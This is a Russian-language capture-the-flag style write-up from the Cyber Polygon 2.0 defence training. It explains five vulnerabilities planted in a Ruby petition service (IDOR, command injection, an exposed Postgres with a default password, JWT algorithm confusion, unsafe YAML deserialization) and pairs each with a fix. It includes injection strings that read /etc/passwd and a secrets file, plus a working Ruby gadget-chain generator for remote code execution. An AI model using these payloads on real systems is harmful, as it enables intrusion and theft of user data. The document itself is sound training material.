Типичный парадокс из жизни безопасника:
-
инцидентов быть не должно (потому что инциденты = потери для бизнеса);
-
но инцидентов должно быть много (потому что без опыта реагирования будет трудно сохранять квалификацию и оперативно отражать атаки).
Для выхода из этого порочного круга крупные компании заказывают услуги Red Team: нанимают сторонних специалистов, которые пытаются взломать компанию. Но, во-первых, это довольно дорого; во-вторых, развернуться здесь трудно: мало кто позволит всерьез ломать бизнес-критичные сервисы.
Мы решили попробовать другой подход практические учения и год
назад впервые организовали бесплатный тренинг для корпоративных
командCyber
Polygon. В роли Red Team
мы атаковали сразу нескольких команд-участниц, причем все
происходило в специальной тренировочной инфраструктуре, которую не
жалко.
В июле прошел Cyber Polygon 2.0. В нем участвовали уже 120
команд из 29 стран, а сценарии тренинга включали и защиту
инфраструктуры от активной атаки (Defence), и реагирование
и расследование инцидентов (Response).
В этом райтапе мы расскажем о заданиях сценария Defence: идеи для него мы черпали из опыта подготовки attack-defence CTF.
Легенда
Интерфейс главной страницы уязвимого веб-приложенияСогласно легенде, ввиртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей иперепродать ихначерном рынке, чтобы извлечь финансовую выгоду инанести репутационный ущерб организации.
APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.
Перед участниками тренинга стояли следующие задачи:
-
как можно быстрее справиться с начавшейся атакой;
-
минимизировать объем украденной информации;
-
сохранить работоспособность сервиса.
Участники могли использовать любые доступные и привычные им средства и методы защиты.
Основные механики
Как мысказали, при разработке сценария мывдохновлялись форматом attack-defenсe CTF. Однако наCyber Polygon участникам ненужно было атаковать другие команды достаточно было только защищать свой сервис.
Такое правило мыввели для того, чтобы все участники оказались вравных условиях исконцентрировались наулучшении навыков обороны. Кроме того, благодаря ему количественные метрики, азначит иоценка уровня команд, были более объективными.
Вкачестве метрик были определены следующие показатели:
Health Points (HP). HPвыражалось простым численным значением. Команда теряла очкиHP, если Red Team смогла успешно проэксплуатировать заложенную всервисе уязвимость иполучить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем большеHP теряла команда, нопри этом укаждой изкомандHP отнимались только один раз зараунд.
Service Level Agreement (SLA). Вконтексте сценария показатель SLA характеризовал целостность идоступность сервиса. SLA измерялся впроцентах (0100%). Команда теряла очки SLA, если намомент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера ксервису могли происходить несколько раз зараунд, ноколичество обращений ккаждой изкоманд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен иполностью функционален) кобщему количеству проверок.
Чекермеханика, которая позволяла нам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники немогли просто выключить сервис или отключить часть его функциональности, имнужно было защищаться отатак Red Team.
Результирующее количество баллов, заработанных командой входе сценария, вычислялось как SLA * HP.
Участникам давалось 30минут наподготовку, входе которых они должны были ознакомиться спредоставленным имсервисом, развернуть средства мониторинга изащиты иначать искать уязвимости вкоде сервиса.
Поистечении этого времени начиналась так называемая активная фаза сценария: Red Team приступала катаке. Активная фаза состояла из18раундов продолжительностью в5минут каждый.
Перед началом сценария каждая команда получала 180HP для каждой из5заложенных всервис уязвимостей (900HP всумме). Заэксплуатацию уязвимости команда теряла 10HP. Так, если вкаком-то раунде было проэксплуатировано 3уязвимости, заэтот раунд команда теряла суммарно 30HP, аесли было проэксплуатировано 5уязвимостей 50HP.
Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобыв начале каждого раунда доставить в сервис команды так называемый флаг(используя легитимную функциональность сервиса). Флаг это строка формата Polygon{JWT}, где JWT JSON Web Token.
Вконтексте сценария флаг выступал вроли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очкиHP именно тогда, когда Red Team получала флаг, эксплуатируя туили иную уязвимость.
Инфраструктура и игровой сервис
Каждой команде, участвующей вучениях, мыпредоставили виртуальный сервер под управлением ОСLinux.
После подключения поVPN участники получали доступ ксвоему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) ксвоей системе.
Вдомашней директории пользователя
/home/cyberpolygon/ch4ng3org
располагался игровой
сервис участников.
Бэкенд игрового сервиса был реализован наRuby, фронтенд сиспользованием фреймворка ReactJS, для управления базой данных была использована СУБД PostgreSQL.
Сервис был предназначен для запуска вDocker, начто указывало,
вчастности, то, что всодержащей игровой сервис директории были
расположены файлы Dockerfile
иdocker-compose.yml
.
Участники имели полный доступ кисходным кодам сервиса, файлам конфигурации ибазе данных имогли использовать эти сведения для поиска иустранения присутствующих всервисе уязвимостей.
Уязвимости
Небезопасные прямые ссылки на объекты
Уязвимость классанебезопасные прямые ссылки на объекты(IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации. Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно бытьдоступа.
В игровом сервисе уязвимость присутствовала в
методеget
классаUsersController
.
backend/app/controllers/users_controller.rb
:
def get user = User.find(params[:id]) if params[:full].present? json_response({ id: user.id, name: user.name, email: user.email, phone: user.phone }) else json_response({ id: user.id, name: user.name }) endend
При обращении по адресу
видаhttp://example.com/api/users/<USER_ID>
, где
USER_ID числовой идентификатор пользователя, любой пользователь мог
получить JSON-объект, содержащий числовой идентификатор и имя
пользователя, соответствующее этому числовому идентификатору.
Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:
if params[:full].present? json_response({ id: user.id, name: user.name, email: user.email, phone: user.phone })
Как можно увидеть, если передать взапросе параметр
full
, вответе отсервера будет содержаться уже большее
количество данных: помимо идентификатора иимени пользователя
вответе отсервиса будут возвращены еще его email иномер
телефона.
Вигровом сервисе флаги хранились как раз вполе
user.phone
(это можно было обнаружить, например,
анализируя сетевой трафик). Каждый раунд чекер создавал нескольких
пользователей ивкачестве номера телефона для одного изних сохранял
флаг.
Чтобы воспользоваться данным недостатком приложения, члены Red
Team отправляли
в сервис запросы
видаhttp://example.com/api/users/<USER_ID>?full=1
и
искали флаг
в полеphone
полученных JSON-объектов.
Для защиты от этой уязвимостихорошей практикой
считаетсямаскированиеконфиденциальных данных при их отображении
пользователю. Так,номертелефона+71112223344
можно
отображать как+7111*****44
.
Например:
def get user = User.find(params[:id]) if params[:full].present? # Masking user's phone number uphone = user.phone x = 5 y = uphone.length - 3 replacement = '*'*(y-x) uphone[x..y] = replacement json_response({ id: user.id, name: user.name, email: user.email, phone: uphone }) else json_response({ id: user.id, name: user.name }) endend
В таком случае вместо полного значения флага Red Team получала
бы строку видаPolyg********X}
, а команда участников не
теряла бы очки HP из-за эксплуатации этой уязвимости.
Внедрение команд ОС
Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных.Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.
В игровом сервисе уязвимость присутствовала в
методеdisk_stats
класса
StatsController
.
backend/app/controllers/stats_controller.rb
:
def disk_stats if params[:flags].present? flags = params[:flags] else flags = '' end json_response({ disk: `df #{flags}` })end
При обращении по адресу
видаhttp://example.com/api/disk_stats
в ответе
сервиса
в полеdisk
JSON-объекта возвращается вывод системной
утилитыdf,
позволяющей оценить количество свободного пространства в файловой
системе.
В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:
if params[:flags].present? flags = params[:flags]~~~~~~~~~~~~~~~~~~~~~~~~~~ json_response({ disk: `df #{flags}` })
Это означает, что потенциальный злоумышленник может выполнить практически любую команду всистеме, используя специальный синтаксис командной строки.
Так, например, выполнив запрос
http://example.com/api/disk_stats?flags=;cat/etc/passwd
,
злоумышленник сможет прочитать содержимое системного
файла/etc/passwd
.
Red Teamэксплуатироваладанный недостаток следующим образом:
-
При помощи отправки запроса
http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml
Red Team получала содержимое файлаbackend/config/secrets.yml
, в котором хранился приватный ключ для подписи JWT-токенов. -
Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.
-
При помощи отправки запроса
http://example.com/api/me
от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.
Чтобы защититься от этой уязвимости,достаточно
было запретить передавать какие-либо параметры в вызов команды,
поскольку общая работоспособность системы не завязана
на использовании этого эндпоинта:
def disk_stats json_response({ disk: `df` })end
Небезопасная конфигурация
Уязвимостьнебезопасной
конфигурации(Security Misconfiguration) возникает, как
правило,
из-за человеческого фактора. Стандартные конфигурации приложений
часто недостаточно ориентированы на безопасность. Из-за лени,
недостатка внимания или некомпетентности обслуживающего персонала
эти конфигурации порой остаются неадаптированными к суровым
реалиям, что существенно сказывается на безопасности
приложения.
В игровом сервисе эта уязвимость присутствовала в описании
сервисаdb
в файлеdocker-compose.yml
.
db: image: postgres restart: always network_mode: bridge volumes: - ./db_data:/var/lib/postgresql/data ports: - 5432:5432 environment: POSTGRES_DB: ch4ng3 POSTGRES_USER: ch4ng3 POSTGRES_PASSWORD: ch4ng3
Как можно заметить, сетевой порт базы данных доступен из внешней сети:
ports: - 5432:5432
Кроме того, сервер базы данных использует вкачестве имени базы
данных, имени пользователя ипароля одну итуже строку, ктомуже
совпадающую сименем сервиса ch4ng3.org
.
Обнаружив врезультате сканирования сети порт базы данных, Red Team смогла подобрать логин ипароль кэтой базе данных. После этого она выполнила следующий SQL-запрос, получив врезультате сразу все номера пользовательских телефонов, вкоторых хранились флаги:
SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Пример исполнения вышеприведенного SQL-запроса
Для защиты от этой уязвимостиидеальным решением
стал бы запрет на подключение к базе данных из внешней сети и смена
пароляпользователя базы данных (при этом нужно было
не забыть внести соответствующие изменения в конфигурацию
сервисаapi
):
db: image: postgres restart: always network_mode: bridge volumes: - ./db_data:/var/lib/postgresql/data environment: POSTGRES_DB: ch4ng3 POSTGRES_USER: ch4ng3 POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ environment: - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable
Однако достаточно былопредпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.
Изменение алгоритма подписи JWT
Следующая заложенная в игровом сервисе уязвимость была связана сосменой алгоритма подписи JWT.
В игровом сервисе уязвимость присутствовала в
методеdecode
классаJsonWebToken
.
backend/app/lib/json_web_token.rb
:
def self.decode(token, algorithm) # cannot store key as ruby object in yaml file public_key = Rails.application.secrets.public_key_base if algorithm == 'RS256' public_key = OpenSSL::PKey::RSA.new(public_key) end # get payload; first index in decoded array body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0] HashWithIndifferentAccess.new body # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e # raise custom error to be handled by custom handler raise ExceptionHandler::InvalidToken, e.messageend
Стоит более внимательно присмотреться к следующим строкам:
public_key = Rails.application.secrets.public_key_baseif algorithm == 'RS256' public_key = OpenSSL::PKey::RSA.new(public_key)end# get payload; first index in decoded arraybody = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
Приложение подгружает строку с публичным ключом сервиса из
файлаконфигурации и, если
в токене был передан алгоритмRS256
, производит
преобразование этой строки в публичный ключ RSA, который в
дальнейшем используется для проверки подписи токена.
Можно заметить,что, еслив
параметреalgorithm
передано любое другое значение,
преобразования строки с публичным ключом не произойдет. Если
передать в полеalg
JWT значениеHS256
, то
для проверки подписи токена будет использован симметричный алгоритм
HMAC, и именно эта строка с публичным ключом будет использована в
качестве ключа для проверки подписи токена.
Red Team эксплуатировала данный недостаток следующим образом:
-
При помощи отправки запроса
http://example.com/api/auth/third_party
Red Team получала публичный ключ сервиса из поляpublic_key
полученного JSON-объекта. -
Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого пользователя, передав в поле
alg
JWT значениеHS256
и подписав токен, используя
в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса. -
При помощи отправки запроса
http://example.com/api/me
от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя ипроверяла, нетли внем флага.
Чтобы защититься от этой уязвимости,можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:
backend/app/lib/json_web_token.rb
:
def self.decode(token, algorithm) # cannot store key as ruby object in yaml file public_key = Rails.application.secrets.public_key_base if algorithm == 'RS256' public_key = OpenSSL::PKey::RSA.new(public_key) else raise ExceptionHandler::InvalidToken, Message.invalid_token end # get payload; first index in decoded array body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0] HashWithIndifferentAccess.new body # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e # raise custom error to be handled by custom handler raise ExceptionHandler::InvalidToken, e.messageend
Теперь, если передать в полеalg
токена значение,
отличное отRS256
, токен будет помечен как невалидный и
Red Team не сможет получить доступ к приложению от лица других
пользователей, подписывая токены публичным ключом сервиса.
Небезопасная десериализация YAML
Последняя заложенная в игровом сервисе уязвимость была связана снебезопасной десериализациейYAML.
Подписанные пользователем петиции в личном кабинетеЗа импорт петиций через их описание в формате YAML отвечал
методimport
классаPetitionsController
.
backend/app/controllers/petitions_controller.rb
:
def import yaml = Base64.decode64(params[:petition]) begin petition = YAML.load(yaml) rescue Psych::SyntaxError => e json_response({message: e.message}, 500) return rescue => e json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500) return end if petition['created_at'] petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at']) else petition = current_user.petitions.create!(text: petition['text'], title: petition['title']) end petition.signs.create!(petition_id: petition.id, user_id: current_user.id) json_response(petition)end
Особое внимание стоило уделить следующим строкам кода:
yaml = Base64.decode64(params[:petition])begin petition = YAML.load(yaml)rescue Psych::SyntaxError => e json_response({message: e.message}, 500) return
Как можно заметить, содержимоеYAML-объектаберется из
base64-кодированного параметраpetition
, после чего
преобразуется в объекты языка Ruby
конструкциейYAML.load(yaml)
.
Данная конструкция является небезопасной и позволяет, в том
числе, выполнить на целевой системе произвольный код на языке Ruby
в контексте уязвимого приложения, чем
и пользовалась Red Team.
При помощи следующего скриптабылсгенерированYAML-объект, эксплуатирующий данный недостаток:
require "erb"require "base64"require "active_support"if ARGV.empty? puts "Usage: exploit_builder.rb <source_file>" exit!enderb = ERB.allocateerb.instance_variable_set :@src, File.read(ARGV.first)erb.instance_variable_set :@lineno, 1depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :resultpayload = Base64.encode64(Marshal.dump(depr))puts <<-PAYLOAD---!ruby/object:Gem::Requirementrequirements: - !ruby/object:Rack::Session::Abstract::SessionHash req: !ruby/object:Rack::Request env: rack.session: !ruby/object:Rack::Session::Abstract::SessionHash loaded: true HTTP_COOKIE: "a=#{payload}" store: !ruby/object:Rack::Session::Cookie coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {} key: a secrets: [] exists: truePAYLOAD
В качестве полезной нагрузки был использован следующий код:
phones = ''User.all().each do |user| phones += user.phone + ';' endraise phones
Код получал номера телефонов всех зарегистрированных всервисе
пользователей, объединял ихдруг сдругом через ; ипри помощи
конструкции raise
вызывал исключение, передавая
вкачестве сообщения обошибке строку, содержащую номера телефонов
пользователей.
Сообщение об ошибке далее возвращалось сервером в поле
JSON-объектаmessage
вместе
с кодом ответа 500. При получении такого ответа Red
Teamоставалосьтолько найти флаг
в сообщении об ошибке.
Чтобы защититься от данной
уязвимости,достаточнобыло заменить вызов
функцииYAML.load(yaml)
на вызов
функцииYAML.safe_load(yaml)
. Однако чекер в процессе
проверки функциональности проверял, чтобы в
переданномYAML-объектебыло возможно использовать алиасы. Поэтому
результирующая конструкция будет выглядеть примерно
так:YAML.safe_load(yaml, aliases: true)
.
А результирующая безопасная функция так:
def import yaml = Base64.decode64(params[:petition]) begin petition = YAML.safe_load(yaml, aliases: true) rescue Psych::SyntaxError => e json_response({message: e.message}, 500) return rescue => e json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500) return end if petition['created_at'] petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at']) else petition = current_user.petitions.create!(text: petition['text'], title: petition['title']) end petition.signs.create!(petition_id: petition.id, user_id: current_user.id) json_response(petition)end
Послесловие
Итак, мырассмотрели уязвимости, заложенные вигровом сервисе Defence-сценария тренинга Cyber Polygon, разобрали способы ихэксплуатации ипривели примеры исправлений, которые позволилибы участникам защитить свой сервис отатак Red Team.
Конечно, наши варианты устранения уязвимостей неединственно верные. Мыпросто перечислили теспособы, которыми воспользовалисьбы сами.
Сценарий предусматривал, что участники могут защититься, неисправляя код всвоих игровых сервисах. Например, для защиты оттретьей уязвимости Security Misconfiguration, связанной снебезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных нафайрволе.
Однако мыубеждены, что лучшее решение исправлять недостатки сервисов иприложений, анеприкрывать ихспомощью компенсационных мер защиты, которые рано или поздно атакующий может обойти. Вот почему мыподробно рассмотрели корректировку исходного кода для защиты отуязвимостей.
Если выучаствовали вCyber Polygon, напишите, что вам показалось самым полезным. Амыпока пойдем писать райтап ковторому сценарию Response, посвященному расследованию киберинцидентов.